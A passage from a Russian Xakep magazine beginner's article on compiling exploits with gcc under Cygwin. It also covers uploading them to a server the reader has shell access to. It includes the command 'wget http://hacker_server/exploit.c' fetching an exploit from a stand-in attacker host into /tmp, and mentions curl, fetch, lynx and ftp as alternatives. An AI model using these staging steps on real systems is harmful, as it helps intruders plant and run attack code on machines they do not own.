Эксплойтный ликбез Олег Толстых aka NSD Xakep, номер #066, стр. 066-070-6 cd / tar xvjf /cygdrive/c/CW/release/gcc/gcc-3.3.1-3.tar.bz2 tar xvjf /cygdrive/c/CW/release/more/more-2.11o-1.tar.bz2 tar xvjf /cygdrive/c/CW/release/mc/mc-4.6.0-4.tar.bz2 … и т.д. Теперь мы имеем работающий mc, more и gcc. С помощью последнего как раз и можно компилить сплойты. Попробуй откомпилировать какую-нибудь простенькую программку, которая выводит на экран фразу «hello, xakep». Пусть она будет называться hello.c. А теперь посмотри из-под винды, как выглядит откомпиленный результат. Смотри, что произошло – файл hello.c скомпилировался в hello.exe, и теперь его без проблем можно запускать на любой тачке с windows. Проверь, работает ли этот exe'шник. Если да, то можно приступить и к компиляции exploit’ов. Как заливать эксплойт на сервер? Для заливки сплойта (или любого другого файла) на *nix-сервер, к которому есть шелл-доступ, чаще всего используют утилиту wget. Синтаксис тулзы прост до безобразия: если в командной строке набрать wget http://hacker_server/exploit.c, с тачки hacker_server в текущую директорию сольется файл exploit.c. Обычно эксплойты заливают в каталог /tmp, так как любой юзер имеет право записи в эту папку. Если на сервере эта софтина отсутствует, можно заюзать альтернативные тулзы – fetch, lynx и curl. Если на удаленной тачке, к которой у тебя также есть шелл-акцес, стоит винда, и нужно залить туда файл, можно воспользоваться утилитой ftp. Для этого в командной строке набираешь: ftp адрес_твоего_хоста,_где_лежит_файл. После этого ты логинишься и набираешь команду get имя_нужного_файла. В результате в текущую папку по протоколу ftp сольется указанный тобой файл. |